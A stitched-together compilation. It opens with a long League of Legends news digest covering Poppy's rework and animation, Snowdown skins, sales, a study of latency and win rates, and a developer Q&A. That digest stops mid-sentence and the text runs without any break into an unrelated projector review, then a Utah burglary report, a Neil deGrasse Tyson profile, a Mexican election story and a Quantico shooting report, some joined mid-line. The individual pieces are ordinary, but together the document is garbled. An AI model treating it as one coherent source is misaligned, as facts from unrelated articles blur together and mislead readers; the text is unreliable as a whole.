"Never skip leg day."
E - Heroic Charge
RANGE - 475 ⇒ 525, matching her passive-empowered attack range
- ⇒ 525, matching her passive-empowered attack range RANGE CHECK - Poppy and enemy hitbox centers ⇒ hitbox edges. This is a slight range buff in all situations (on top of the actual range increase) and is more impactful against larger opponents.
- Poppy and enemy ⇒ hitbox edges. This is a slight range buff in all situations (on top of the actual range increase) and is more impactful against larger opponents. NO ONE SAY CLARITY - Since this is a lightweight update to game values only, Heroic Charge's cast range indicator hasn't been updated. Sorry!"
January Sales Schedule If the
"Check out all the champs and skins on sale this January. Like previous sales schedules, we’re not posting the exact dates for each champ and skin, but they’ll all be on sale sometime next month, so keep an eye out. Just a heads up – since we’re publishing these in advance, we won’t offer partial refunds on champs and skins purchased before they go on sale."
If the Snowstorm legacy and Snowdown sales aren't enough for you, Riot has released the January champion ans skin sale schedule!
Fire Themed Skin for Diana
KateyKhaos
"It won't be an esports skin, just a cool fire-themed thematics for Diana. :]"
KateyKhaos
"No ETA, but we just began concept ideas."
Meddler on Warwick, Shen, and Taric updates
Meddler
"He is not. Shen is almost certainly up next, with a primarily gameplay update. He'll probably be followed by Taric, who we're planning a full visual/gameplay/sound etc update for. Warwick's a possible candidate after that, and a champion we've talked about, there are some other really strong candidates too though (Yorick especially could really use the work)."
Dev Blog: The Animation of Poppy
"Hey everyone! Paul “PartiestCat” Jarvis here. I was in charge of driving the style and direction for how Poppy moves and wanted to give you all a little behind-the-scenes look on how we approached the animation for Demacia’s tiniest hammer delivery service.
SQUASH, STRETCH, AND SMEAR
Okay, quick animation history lesson. There’s a set of animation principles that most animators follow that dictate and drive the choices we make when building out the motion for characters and they cover topics like posing, exaggeration, and visual/emotional appeal. One principle in particular -- squash and stretch – is something we’ve adapted as a fundamental aspect to League’s in-house animation style. Broadly speaking, squash and stretch helps a character feel organic and alive. It’s used to emphasise weight, momentum, and speed of objects by warping and distorting their shape. When we use more extreme versions of these distortions to connect our most important “key” poses, we call them smears or “smear frames;” single distorted frames between broad actions. Using smears helps to sell impacts on spells, attacks, or any super-quick motion. A champion’s animation needs to feel awesome in fractions of seconds, and smears help by adding texture and flavor between exaggerated motions.
Back to Poppy.
Yordles are squishy. I don’t mean that literally, but their short stature gives them lots of wiggle room for us to exaggerate how they move. Poppy has a tiny frame, so it’s also important that we can make her motion broad enough to not be hidden under her big Yordle head. Ideally, she should never LOOK like she’s made of rubber, but her motions should have a certain extra snap to them to keep her feeling energetic and punchy.
We kept the same mindset with the motion of her hammer, but I’ll get to that below.
EXPRESSIVE
Historically, League isn’t the kind of game that normally needs facial animation. The camera angle and distance from your champion normally means a character’s face only takes up a handful of pixels on-screen at any moment and extra detail actually makes it harder to understand what is happening. As animators, we wanted to challenge that idea, and our early tests actually showed us that her expression changes were fully readable and felt like they added a lot to her personality.
In terms of her character rig (the set of bones that allow us to move our characters around), Poppy is the first champion in League to be built from the ground up to support such a wide range of facial expressions. Every champion has a budget in terms of rig complexity, so we had to be smart about how we fine-tuned her model and facial setup. Many high-end character rigs in modern games have more bones in the face alone than all of Poppy combined, so the challenge was to give us the widest control with the least amount of resources.
Poppy’s facial rig
Just to get technical stuff out of the way, Poppy’s face is only 11 joints in all:
3 per eye (pupil, upper eyelid/eyebrow, and eye shape)
3 to shape the mouth
1 for the upper bridge of teeth
1 for the jaw After working closely with our tech artist (and waves and waves of iteration), we landed on what you see above. We were able to get a surprising amount of flexibility out of such a simple setup!
Poppy face tests
The first thing I did with Poppy was to carve out a set of base expressions to feel out her emotional range, and then develop them until that we all felt confident about the direction. Once we had a solid foundation, we were able to focus on the expressive timing – finding punctuated moments during and after her abilities and attacks where the expressions could be clearly seen. When you only have a fraction of a second to sell an attack, communicating a clear change in mood is really important.
…Fool me twice… HAMMER!
Poppy’s hammer is just as important as she is and we really wanted to reflect that in her animations. Why not give her hammer the same degree of personality that we give to the Yordle that wields it? We spent some time going back and forth about what kind of shapes we needed the hammer to make, which parts we wanted to push and pull, and which parts needed to twist, distort, or grow and shrink.
Early tests to develop the hammer rig
Squashing, stretching, and smearing is just as important for the hammer as it is for Poppy, so we needed to crank it up to 11. The head of the hammer scales to cartoonish sizes for single frames so you can really feel the force behind the swing, and the neck of the hammer bends to compensate. With a little sorcery and a lot of clever rigging we were able to build really clean smear trails for the hammer that gave us a nice, stylised alternative to motion blur. It’s a more traditional animation method that meshed really well with how we normally animate our champions.
Lastly, take a look at the most extreme case that brings everything together: the swing of her fully-charged Keeper’s Verdict.
That’s about it! We’re always looking for new ways to improve champion experiences and bring out the best in every single rework we do. The whole team is extremely excited and proud to see Poppy out in the world, and hope you enjoy playing her as much as we enjoyed making her!
Thanks for reading!"
Snow day! The art of Snowdown
"League of Legends doesn’t need to be all grimdark, all the time. There’s more to life than slugging it out on the Rift; putting champions in less-than-serious situations is one of the things that makes League so uniquely… League. Where would we be without Pool Party Graves, Sinful Succulence Morgana, or AstroNautilus?
We knew that we wanted to keep this sense of fun front and center with this year’s Snowdown. And since nothing is more fun than a snow day, artists and visual designers started with one simple question: What happens when League’s champs take a day off to engage in a little snow-to-snow combat?
School’s canceled!
“When I was a kid, I was all about snowball fights,” says visual designer Kelly Aleshire. “Snow days were awesome. There’s a sense of, ‘I was supposed to do something today, but now I get to have fun instead.'” Communicating that feeling to players was key goal for the teams working on Snowdown. Whether through Syndra’s oversized earmuffs, Bard’s penguin-ified meeps, or the somewhat-goofy snowplow super minions, the main focus was on making things feel uniquely fun.
Bard’s Snowdown concept finalised and ready for production
Concept artist Wesley Keil explains, “It’s one of those light-hearted, zany things where you can step away from the serious stuff.” With this year’s Snowdown, “the team wanted to create something really playful,” emphasises Aleshire, “so the feedback was mostly centered on hitting that ideal without going too over-the-top.” Each concept went through several iterations as artists worked to find something that felt right for the overall theme but still fit the champion. Gnar might wear a winter cap, for example, but he still needs to feel like Gnar.
Skins ideation often involves creating several concepts for each champion
This year’s Snowdown was made more complicated by the inclusion of Snowdown minions. While minions are less complex than champions, their simplicity brings its own flavor of difficulty. Says Keil, “They have to read clearly; there are a lot of gameplay ramifications -- what happens when there are a ton of them on screen, etc.” Just as the team needed to balance the skins between the Snowdown theme and the core personality of each champion, the minions needed to be clearly Snowdown without hampering actual gameplay. Fun’s no fun if it creates confusion in the game, after all.
Early concept work shows different ideas for Snowdown minions
Finally, the splash is perhaps the most clear distillation of Snowdown as an idea, showing off the skins while capturing the personality of each champion and communicating the overall theme of fun in the snow. “Bard, for example, is kind of aloof,” says Aleshire. “He’s not super worried about humans or the universe as we see it, so he’s just in his own little world sharing some cocoa with a Meep. Gnar has a hyperactive attitude, so he’s distracted and chasing a Meep instead of helping.” Syndra, a more focused champion, is ready to start the next volley and/or claim victory. The splash bears the responsibility of bringing everything together in one image that tells the whole story.
"We have this moment every now and then, where a bunch of serious characters take a day off and play in the snow."
The result is a collection of skins and goodies that embody the idea of a laid-back winter hangout. “We have this moment every now and then, where a bunch of serious characters take a day off and play in the snow,” concludes Aleshire. “Hopefully we capture that and give players the same feelings I remember from tossing snowballs at my friends.”"
2015 All-Star Event Bundles
"Unlock bundles inspired by the four days of epic elemental battles and extraordinary mastery seen at the 2015 All-Star Event. These three limited-time bundles are available
from December 14-19.
All-Star 1v1 Champion Bundle - 50% off at 2399 RP (4787 RP if you need the champions)
Level up your 1v1 skills with the champion pool of the winner of the 2015 All-Star Event 1v1 Bracket.
Skins included:
Pool Party Draven
Striker Lucian
TPA Ezreal
Shockblade Zed
Battlecast Vel'Koz Champions included:
Draven
Lucian
Ezreal
Zed
Vel'Koz
All-Star Winner’s Bundle -50% off at 2699 RP (5042 RP if you need the champions)
Unlock the winning team comp from the final clash of Team Fire vs. Team Ice.
Skins included:
Blade Queen Lissandra
Blood Moon Elise
SKT T1 Zed
Blood Moon Kalista
iBlitzcrank Champions included:
Lissandra
Elise
Zed
Kalista
Blitzcrank
All-Star Playmaker’s Bundle - 50% off at 2211 RP (4047 RP if you need the champions)
Add the champions from the “Play of the Year” award to your lineup.
Skins included:
Galactic Azir
Warden Sivir
Gentleman Gnar
Fnatic Janna
Battle Bunny Riven Champions included:
Azir
Sivir
Gnar
Janna
Riven"
Free Transfers to TR
"From December 15th to January 31st, players from EU West, EU Nordic & East, North America and Russia servers who log in to League of Legends from Turkey can transfer to Turkey server for free! This offer is one way only, and the transfer period starts at 00:01 EEST (23.01 CET, December 14th). Free transfers will be available under the Account section in the Store.
Anyone that purchased a transfer to TR from December 1st to 15th will also be refunded the transfer cost. Sending a support ticket won’t be necessary; you will automatically receive your RPs before the offer ends.
Important Note: Players with VPN or IP altering connection settings should contact Player Support in order to use the free transfer, since they technically don’t appear to be logging in from Turkey."
Tencent repurchase remaining Riot Games Equity
"Riot’s approach to compensation has always been about aligning the incentives of the company with Rioters, and also about ensuring that we compensate our talented team of professionals well.
As a result of our continued growth and changing circumstances, we're shifting to a new structure to recognize and reward Rioters' contributions - and that first involves a big change to our existing equity program. As part of this effort, our majority investor, Tencent, recently purchased the remaining equity of Riot Games. This allows us to move away from a Riot equity program towards a cash based incentive program that allows Rioters to share in Riot's success. This program comes in addition to our highly competitive salaries, open PTO, learning and development programs, 401K match, subsidized medical plans, and kitchens stocked with snax (poro and otherwise) all full-time Rioters get.
We’re excited about the flexibility of this new approach to comp and believe it’ll help us continue to ensure Riot remains a great place to work."
PING, WINRATE, AND VAYNE PROBS: CLAIRVOYANCE BLOG
Christokkies
"Nothing quite kills the joy of online gaming like latency. At one time or another we’ve all experienced the pain of lag spikes during a pivotal, game-deciding moment.
One thing that I’ve been mulling over when it comes to latency (or lag) is how champions in League of Legends might be affected differently by slow communication between a player’s client and the game server.
My brother, who lives in Japan, plays on the NA server so we can play together. He intentionally avoids playing AD carries because, his logic goes, this mechanically intensive role is not conducive to being played in conditions of high latency.
But just how true is his supposition? Are certain roles (or champions) more susceptible to a drop in performance from increased latency?
METHODOLOGY
To test this, I went all out. I created a series of statistical models that attempt to predict a game’s outcome (win or loss) based on one’s ping. As it turns out, the use of latency as a predictor of a game’s outcome is contingent on the champion being played. In other words, the outcome of a game with bad ping is easier to predict with certain champions more than with others.
"The use of latency as a predictor of a game’s outcome is contingent on the champion being played."
Classical linear regression models make predictions about continuous variables, where numbers have a logical order (such as age or or number of wins on a champion). Because the outcome variable in this case is categorical and binary (win or loss), a type of regression known as logistic regression was used to determine the estimated probability of an outcome given latency. I analyzed over 95 million different occurrences of a champion appearing on Summoner’s Rift. To emphasize relative differences in latency between players, I used difference from the average in-game ping (which we’ll just call ‘ping difference’ going forward) as the predictor variable rather than the absolute ping values. For example, if a player’s average ping during a game is 75, while the average ping of the game for everyone else is 70, that predictor value will be 5 (rather than 75).
FINDINGS
It appears that more mechanically intensive champions are more affected by latency, while tankier champions or those with point-and-click abilities are less affected by latency.
The graph below shows the estimated probability of Vayne being on the winning team as a function of ping difference. As the graph demonstrates, the lower the average difference in ping, the better chance this champion that relies on extremely precise positioning will tumble into victory rather than the enemy team.
The estimated probability of Vayne being on the winning team as a function of her difference in ping from the average in game.
coeff. = -.0014, z-value = -41
This relationship is similar for Xerath. The higher a Xerath’s latency is relative to other players in the same game, the harder time the Shurima demigod has landing skillshots on his opponents.
The estimated probability of Xerath being on a the winning team as a function of his difference in ping from the average in game.
coeff. = -.002, z-value = -20
I believe this intuitively makes sense. Landing a Xerath ultimate or a Vayne condemn when your opponents’ movements are more responsive than your own is difficult to put it mildly.
PRESS R TO WIN?
Certain champions, however, do not exhibit a strong relationship between latency and estimated probability of winning.
Looking at Warwick, for example, differences in the average latency between other players in the game is not a strong predictor.
The estimated probability of Warwick being on a the winning team as a function of his difference in ping from the average in game.
coeff. = -.0002, z-value = -4
Similarly, Singed’s probability of landing on the winning team does not seem to be affected much by latency.
If a Singed has 30 less ping than the average champion in that game, he has a roughly 50 percent chance of being on the winning team. And if that Singed has 30 more ping than the average champion, the chance of him being on the winning team is...well… still around 50 percent.
My interpretation is that the skills necessary to excel at Singed are what I would consider more strategically focused. When and where do I ward? When do I split? When do I TP or group?
"Latency should only be affecting the outcome of a match to the extent that it differs from that player’s normal ping."
Further, I am reluctant to rule out any effect of lag on Warwick’s or a Singed’s ability to win. Matchmaking is designed with the intent that players are matched against other players in such a way that they win 50 percent of their games on average. If high latency is systematic for a player, then the effect of lag on a champion’s ability to win should be muted. For example, if a player who normally has good ping suddenly has bad ping, then that player will probably be far more likely to lose that particular game than if that player consistently plays with bad ping from game to game. In other words, latency should only be affecting the outcome of a match to the extent that it differs from that player’s normal ping.
Finally, I would like to caveat these findings by noting that the interaction between latency, champion, and the estimated probability of winning may not be causal. The models shown here only have a single predictor variable, and it’s possible that if we throw other variables into the mix that the effect of latency disappears. Having said that, I think that the data support the hypothesis that the effect of latency on the outcome of the game differs by champion. A future analysis using more complex models could perhaps provide more evidence of causality.
The estimated probability of Singed being on a the winning team as a function of his difference in ping from the average.
coeff. = -.0003, z-value = -2
CAN WE GENERALIZE THESE FINDINGS TO ROLES?
Let’s come back to the question of whether my brother is correct to avoid playing as an AD carry because of his high latency. To answer this question, I ranked the champions by the extent to which their estimated probability of winning was affected by latency (for the more statistically inclined, I ranked the champions by the normalized regression coefficient given by the Z value). I then took the median of the rankings for each champion by role. For example, Yasuo appeared to be the most affected by lag, so he was rank 1. Vayne was the second most affected—making long-distance duo-queuing with a Vayne main somewhat ill-advised.
"We do see a difference in the effect of latency on the estimated probability of winning based on role. "
As it turns out, we do see a difference in the effect of latency on the estimated probability of winning based on role. Champions categorized as ‘AD carries’ (median rank = 21) appear to suffer the most from latency, followed by the mid role (median rank = 50). Finally, support, top, and jungle all had relatively higher rankings (70, 79, and 93 respectively).
These findings are in line with the notion that roles are differentially affected by latency, and in fact, my brother is probably better off playing Top, Support, or Jungle over AD Carries or mid given his higher-than-average latency."
[INTRO] Andrei “Meddler” van Roon - Lead Gameplay Designer
Meddler
"Hi all, I’m Andrei van Roon. I’ve been at Riot Games for about four years now, prior to that though I was working in a pretty different field, helping design future transport networks back in New Zealand. To my surprise I ended up at Riot (and in LA) after I happened to spot a job posting on the LoL forums and decided to throw in an application for the hell of it. So far it’s been a fantastic experience :).
Outside of work I’m a pretty big gamer, both video games and board games, with particular favourites including the Civilization series, Warcraft 3, FTL, Race for the Galaxy, Agricola, Star Control 2, Diablo 2 and Dark Souls. Also pretty partial to a bit of hiking, karaoke and travel.
WHAT AM I DOING AT RIOT? WHAT CAN YOU EXPECT NEXT YEAR?
I started at Riot as a designer on the Champion team, working on Ziggs, Varus, Syndra, some of Elise, Lissandra and some of Gnar. After that I did a spell as the Lead Designer on Champion, working with the designers and other developers on the team to help create new champions from 2013 to 2015. Over the course of 2015, I’ve been spending a lot of my time on wider gameplay topics as well, such as the recent preseason changes.
From the start of next year I’ll be shifting to a broader role, working with the four teams who focus on game health/balance, new champions, champion updates and game systems. My role these days tends to be more about helping teams build long term visions/plans, and offering a second opinion on work in progress, than on working directly on game changes myself.
WHAT AM I GOING TO TALK ABOUT?
For these DevCorner posts I’ll generally be talking about the state of gameplay in League of Legends overall, in terms of where we currently are, where we’re hoping to go and what the philosophies behind our changes are. I’ll also jump into some more specific conversations too where possible (‘What’s up with X mastery or champion’ etc), though that’ll generally be pretty reactive rather than planned.
WHAT WOULD YOU LIKE TO HEAR FROM ME?
I’d also love to get a better understanding of what you folks would like to talk about/hear more about. Types of topics in particular would be great (more about why we’re changing the game in the ways we are? more insight into our upcoming plans? more context on why we try and balance the way we do? etc). Riot’s direct communication with players was one of the things that made me want to apply here in the first place, so getting to contribute to keeping that going is something I’m really keen to do.
Edit: I'll be in and out of this thread over the course of the afternoon, got a mixture of meetings and some time put aside for forum posting."
Meddler
Meddler
"Quote:
What was the hardest champion you worked on to balance? Elise would be my pick. Form swappers have historically been challenging to balance, given their early game power in particular, and Elise has both minions and strong pick capability on top of that."
Meddler
"Quote:
Hi Meddler
I'd like to hear your thoughts on less mobile champions; particularly how you feel the Juggernaut update went, and going forward, how the immobile mage update is likely to go/may be influenced by lessons learned. Also I was curious if you could give any hints on the scale and/or scope of the mage update (which champions are priorities, and if it's more along the scale of the marksman update or juggernaut update, etc.)
Thanks! I think historically we've undercosted mobility at times, which has made mobile champions feel like the clearly superior choice. We've been looking to correct that, through things like the juggernaut update where characters without strong mobility get other powerful tools, or through effects like Poppy's W, that add some more risk or cost to mobility.
As far as the mage update goes that'll likely be a mid year thing. Number of champions changed will probably be closer to the Marksmen update than the juggernaut one, item changes probably smaller though (AP items don't need the same degree of overhaul AD itemization did). We'll talk details, in terms of which types of characters, and possibly some individual champions, sometime early next year."
Meddler
"Quote:
What do you currently see as the biggest problems to the current state of the game? How do you hope to address some of these in the coming season?
I personally find many of the recent champs to be quite frustrating to play against, like Ekko (very difficult to catch or fight him when you want to, and his kit is loaded with too many ways to outplay the opponent); Tahm is hard to get away from and does incredible damage building only tank items; Kindred is a late-game snowball monster who is also very hard to fight early (unless you're Lee Sin).
Just my 2 cents :P I think some games of LoL can sometimes feel a bit too predictable part way through, with team strats and optimal plays being clear to both teams. That results in risk adverse play, which can be less interesting to experience or watch. Currently planning to do some further analysis of options to deal with that early next year, see if we can find some approaches that are worth developing further (hidden information for one team, high risk potential comeback plays, greater team comp diversity etc)."
"Quote:
Thoughts on Dominion and Twisted Treeline?
How come they aren't played at events like All-Stars? One would think that promoting game modes that are already available instead of ones that aren't (1v1) would be common sense.
Can you really say that there isn't a solo-q ranked option because the playerbase is too low? Because I think if there was - people would actually play them more often. Thoughts? Not sure about how modes for events are picked sorry, that's something the Esports team handles directly.
I certainly agree there's a bit of a chicken and egg situation with Dominion and TT, in terms of lack of support versus lack of popularity. At the same time though we do believe that what's best for LoL as a competitive game is a single map/mode that serious play happens on (Summoners Rift), with other options being complimentary experiences (like ARAM) or temporary different experiences (like One for All, URF etc). In particular that's to support a single, focused, competitive scene, rather than splitting attention, players, balancing, etc between multiple different formats. What that means for Dominion and TT then's something I agree we should figure out, they feel stuck in a limbo at the moment."
"Quote:
Have you ever considered reworking crit? I am pretty sure RNG is an aspect most developers would want to keep away from. At some point I suspect we'll do some work on crit, the degree to which random luck can help or screw you there, without any chance to interact or respond, is pretty high. I don't think the correct response to RNG is as simple as'stay away from it' though. Randomized situations, if they create subsequent gameplay you can engage in with a range of options, can add a lot of variety to a game. Magic the Gathering or Hearthstone for example get a lot of replayability and unique situations from their randomized starting hands, in a way that still allows a lot of expression of player skill and fairness. Similarly base spawn location in Starcraft, or even the impact of weather on outdoor sports, add variability that creates, rather than removes, interesting play."
Meddler
"Quote:
Ao Shin? We ran into both gameplay and animation challenges (serpentine body) with Ao Shin, which is why despite the reveal of concept art for him nearly two years ago he hasn't happened. We do still want to make a serpentine dragon at some point, we think it's a really cool space, can't offer anything more concrete than that at the moment though alas."
Meddler
"Quote:
Where do you see that potential from Yorick going?
Also, will Yorick eventually get the same melee range buff that a few other champs recently got? Raising and commanding the undead (necromancer or death knight basically) is a pretty strong archetype as far as champion fantasies go, that could offer some really interesting tradeoffs and distinct abilities."
"Quote:
Besides Taric, who do you think needs a major rework the most?
Yorick's my personal pick for most in need with high potential, can see a few other reasonable candidates though too (Warwick and Urgot for example)."
"Quote:
Do you see junglers getting a keystone that impacts their play in the jungle in the future? It feels like other than strength of the ages, junglers didn't really get much to work with this season, while others have a lot of choices. Or possibly making keystones work on jungle creeps? I could see thunderlord's being pretty good for jungle clear. I think we should try and aim for a state where junglers, regardless of which class they are, feel they have multiple good keystone options. Would probably want to avoid jungler specific/focused masteries though, lot of risk there of making a mastery feel mandatory unnecessarily."
"Quote:
Hey Meddler, nice to chat with you!
I was wondering if you could tell us a bit about the team's vision with Koggy. In particular, are you guys planning on trying to stick to the 'Protect the Kog' niche rather than some more exotic builds like JuggerMaw or AP Marksmen Kog? If you guys are sticking with 'Protect the Kog' how do you plan on making him attractive when compared to champions like Miss Fortune who also benefit strongly from having a team built around them who can get results much easier? We do think Kog's a champ you should feel rewarded for building a protective team around, given his lack of escape/hard CC and dependence on sustained auto attacking. That's a space that a few different champions should be able to exist in though, provided they're doing it in different ways (e.g. MF as the wombo character you want to pair with AOE lockdown for the duration of her ult, Kog as the one you want to protect for extended periods of time with AA enhancing buffs where possible, Trist as the one to protect if you want to push towers quick mid game etc)."
Meddler
"Quote:
How has the team been viewing Poppy? I've been playing nothing but poppy, and I'm a little disapointed in her. She lost most of her damage dealing, and much of her tankiness. I don't expect getting the damage back but I feel her tankyness is really weak right now. Especially Jungle poppy (which I play the most).
I think her W passive isn't doing enough for her.
Also could smacking a champion with her shield let her immediately catch it after level 11 or something? I don't think the mini-game should really be extended to outside of the laning phase as well, where it just becomes frustrating.
I also don't like how Poppy lost a lot of her movement speed (only 2.5 seconds on W active), and that her anti-mobility ability only stops a target once. It lasts 2.5 seconds, surely you can let it stop people however many times it can for the duration. If there's extremely strong mobility options, i don't think there should be a problem with having extremely strong anti-mobility options.
It feels like you guys really undershot on the Poppy rework regarding her kit. I still like the direction, and i love the artwork and voice. But I feel the balance strength is way off. We generally like what she's doing so far, though it's looking like she might be a bit weak, so we've been investigating possible buffs for 6.01. She's got a fair bit of learning curve though, much of which is pretty different to her old kit, so we've been avoiding any knee jerk changes while people are still experimenting and learning."
Meddler
"Quote:
Which do you prefer: skillshots or point-click-hit abilities? Is there an archetype that should have one over the other preferably?
Thoughts on flash? Are there plans to add new summoner spells to the game?
Do you think a champion can ever find true balance. But in all seriousness do you think that it is possible to perfectly balance a champion?
How long do you feel it takes to measure a balance change's impact to the game?
Are balance decisions based on a champions/item/mastery/whatever's maximum possible potential, the average potential, both?? As a player I really like skillshots. From a designer perspective I believe it's important to have both though, with which is used depending on the reliability profile appropriate for the champion in question (e.g. poke mages should be unreliable, diving fighters need reliability by contrast). The degree to which you want to test a player's mechanical skill, as opposed to decision making, strategic awareness or other skills, is also an important factor.
Overall I think Flash creates a lot of interesting moments, both in its offensive and defensive uses. It also allows some characters to function without having to put mobility on their kits or items (e.g. Annie). No current plans to add new Summoner Spells, though sometime next year we do want to explore methods for rewarding a wider range of the existing Summoner Spells more often.
I don't think perfect balance exists exactly. The balance state of a game that's just launched, versus one where people have been playing and perfecting skills/strats for 10 years for example's going to be pretty different.
Some balance changes are apparent almost immediately (e.g. less damage on commonly used skillshot that drops a character from overbearing to a reasonable spot). Others can be pretty subtle and take a while (e.g. vision changes where it takes a while for players/teams to adapt, or characters who were previously poor choices becoming good ones as the meta changes and what they offer becomes more valuable).
Some good context on how we balance can also be found here:
Meddler
"Quote:
I've also had a lot of fun asking (roughly) the same generic questions to all the devs, so you're the next one on the list :
What is in your opinion the best/worst niche in LoL right now in term of design (split push, mobile mages, tank supports, poke supports, all in mid laners, AP junglers, etc.)?
Who are your favorite current rioters and ex-rioters?
What would you say is the biggest pros and cons of the current way PBE functions?
Favorite champion?
What design from another game would you like to see in LoL (even if unrealistic) and why? The bigger thing for me though than game time is game pacing. I think most games of LoL should feel like they've got an early, mid and at least some of a late game, since each phase creates different gameplay, favours different skills/champions etc, which are important in getting a good feeling game flow and narrative. In terms of time somewhere around the 30-35 minute mark on average seems reasonable to me. The occasional really short or really long game's good to mix in there, for the contrast and/or epic feel certainly. Generally though I think you should be able to roughly estimate how long you'll be in game when you click Play however, so most games should skew towards that average point, rather than being evenly distributed through a range.
We feel the new Masteries system |
W365ES compared here, it really depends on the scene. In this next shot we did find a single image which shows how each projector had better contrast in different areas of the image.
When it comes to absolute black levels in a predominately black scene, like the one below, there is no question that the Sony has the advantage in blacks. However, it is interesting to note that even in these very dark scenes the Optoma has the much brighter highlights as can be seen with the brighter stars and higher contrast overall. We suspect this is because of the higher native contrast of the DLP imaging chip or perhaps the higher depth of modulation around the two pixel resolution like most of the stars in this scene. In either case it is very noticeable and which is better is a matter of personal preference.
Detail
This is where all the internet chatter seems to focus. On the one hand, the Sony has three “true 4K native” imaging chips, whereas the Optoma uses a single Texas Instruments 4K UHD DLP chip. The controversy and confusion is that many feel the TI chip is using a similar “e shift” or “4K enhancement” method, like some other manufacturers use, based on a 1080 chip set; Optoma is not. It is a higher resolution imaging chip (smaller pixels) and uses an “optical actuator” to deliver a full 8.3 million pixels to the screen. Is it perfect? Of course not, but it is very close and in some cases better than some “true 4K” projectors to the eye because it does not have to deal with the ultra fine and very critical alignment of three separate imaging chips at a resolution of 4K. You can debate and argue all you want but please – see for yourself a side by side, and then you make the call.
For us, it is more about the end result rather than how (although that is always interesting) it is accomplished. We have yet to read a review or do a demo to a potential client where the detail or resolution of the Optoma is in question, it is quite simply very very good for its price.
Conclusion
The Optoma UHZ65 does indeed deliver a brighter, wider color, and improved contrast image over its little brother, the UHD65, and comes very close to the Sony VPL-VW365ES. Which one is best will depend on your budget, application, and usage. The Sony has the feature advantage of 3D, lower latency for gaming, and full lens shift horizontally and vertically. The Optoma has a no-lamp design with a long life (20,000 hrs to half brightness) laser, excellent detail, color, and contrast. How close the newly announced VPL-VW285ES comes to either of these will be the next question.
Below are the Theo-Charts of both the projectors compared above. To see additional projector Theo-charts and how they compare simply hover over “Home Theater” from the main menu and select “Home Theater Displays” and then click on “Projector Comparison Charts”.
See Projector Comparison Charts (Theo Charts)
See our review on Youtube:Please enable Javascript to watch this video
OGDEN, Utah – Police are investigating a burglary at an Ogden business, and they may need the public’s help to identify and find the suspects.
Nearly $5,000 worth of merchandise was stolen from the Vapor Royale smoke shop on Riverdale Road in Ogden late Sunday night.
Marco Herrera owns the store, and he said he is hopeful surveillance footage, above, will help police find the perpetrator. He also said a suspicious customer came into the store the night of the robbery.
“Someone came in last night when they were closing, and they were kind of acting fishy from what I was told, and, umm, everything that they were asking about was gone, was taken,” he said.
Herrera said he is offering an $800 reward for information leading to an arrest.
Anyone with information regarding the crime or the suspect is encouraged to call Ogden policeAs a teenager at New York City’s prestigious Bronx High School of Science, Neil de Grasse Tyson had a surefire strategy for romancing girls: He’d grab his telescope, bring his date to the roof of the nearby apartment building where he lived with his family and promise her the stars. “Rooftops are ideal for exploring both kinds of heavenly bodies,” says Tyson, 42, who later went on to perfect his technique at Harvard. He has since expanded his orbit to include Manhattan’s Hayden Planetarium, where he’s been director since 1995, and Princeton, where he’s a visiting professor of astrophysics. As passionate about earthly pleasures as those celestial, the 6’2″ Tyson indulges his love of wine and gourmet cooking while succumbing to the gravitational pull of his wife of 12 years, mathematical physics Ph.D. Alice Young, 44, who is expecting their second child next month. Oh, sure, says Young, Tyson tried the ol’ stargazing trick on her too. But the rooftop Romeo had met his match. “I’d already taken astrophysics,” she says, “so it wasn’t exotic for me.”MEXICO CITY — A cussing rancher known as El Bronco, who made the first serious run for governor as an independent candidate in Mexico, trounced his competition in midterm elections, according to preliminary official results on Monday, in a race closely watched as a sign of voter frustration with entrenched, established parties often seen as ineffectual and corrupt.
The candidate, Jaime Rodríguez Calderón, running for governor of Nuevo León State, a business and industrial hub near the Texas border, received 49 percent of the vote. He defeated his closest rival, a candidate from the governing Institutional Revolutionary Party, known as the PRI, by 25 percentage points.
But the insurgent electoral mood in Nuevo León was not reflected on the national level in Sunday’s elections. Though the PRI lost some seats in the lower house of Congress, it will retain its narrow majority there with the help of two victorious allied parties. The PRI also won five of nine races contested for governor, losing two states it had held but picking up two others while holding onto three states, two of them by narrow margins.
With about 47 percent of those eligible going to the polls, a higher than normal level of participation, voters’ results showed their frustration with the governing party after months of scandals and sensational violence in pockets of the country. But they also illustrated a lack of faith in the traditional political opposition, whose two main parties — the conservative-leaning National Action Party and the leftist Party of the Democratic Revolution — have endured internal strife and have failed to capitalize on the PRI’s woes.QUANTICO, Va. A Marine who worked at a rigorous school that tests Marines who want to become officers fatally shot two of his colleagues before killing himself in a barracks dorm room.
The three Marines two men and a woman were part of the staff at the officer candidates school on the sprawling Marine Corps Base Quantico in northern Virginia. Their relationship and whether they knew one another was not clear, though military officials described the shootings as "isolated." They did not release the identities of those slain.
CBS News correspondent Bob Orr reports from Quantico that no motive has yet been established or released by authorities.
Around 10:30 p.m. Thursday, authorities found one Marine dead in the Taylor Hall barracks, base commander Col. David W. Maxwell said. A second victim and the gunman were also located in Taylor Hall, a red brick building that can house about 110 Marines.
Only Marines who work at the school live in Taylor Hall. The candidates for officer live elsewhere on the base.
It wasn't immediately clear how much time passed between the killings or how far apart the bodies were.
After the first shooting, Marines and their families were told to stay inside over a loudspeaker known as the "giant voice." The lockdown was lifted about 2:30 a.m. Friday.
Base spokesman Lt. Agustin Solivan said everyone else was safe, including the officer candidates.
Officials did not say what the three Marines did at the school, which is known for its grueling 10-week program that evaluates candidates on physical stamina, intelligence and leadership. The candidates must complete obstacle courses, hikes of up to 12 miles in full combat gear and take classes on navigation and tactics that help them lead in the field, according to the school's website.
Some are sent home. Those that do graduate become second lieutenants. Along with the U.S. Naval Academy, the school is the way most Marines become officers.
"Officer candidates school training will be more demanding than any you've experienced before, regardless of commissioning program," according to the website.
The Corps advises candidates to train by running four to six miles, twice a week, and to have body fat levels that do not exceed 18 percent for men or 26 percent for women.
Seven Marines dead in training accident
The shooting was the second tragedy the Marine Corps faced this week. Seven members of the 2nd Marine Expeditionary Force were killed Monday when a mortar shell exploded in its firing tube during an exercise at Hawthorne Army Depot in Nevada. Eight others were injured.
Maxwell referenced the Nevada deaths in his remarks, choking up as he told reporters that chaplains at Quantico would be providing counseling for Marines and their families.
"I want to express my sincere condolences to the families, friends and fellow Marines of the three Marines we lost last night," Maxwell said. "Our thoughts and prayers are with them at this time. This is a tragic loss for our Marine Corps family."
Maxwell said he anticipates a "lengthy investigation" and did not expect the identities of the shooter or the victims to be released until at least Saturday.
Pentagon press secretary George Little said Defense Secretary Chuck Hagel was saddened.
"This tragedy, as well as the tragedy in Nevada earlier this week, took the lives of Marines who volunteered to serve their nation," Little said. "His heart and his prayers are with them and their families."
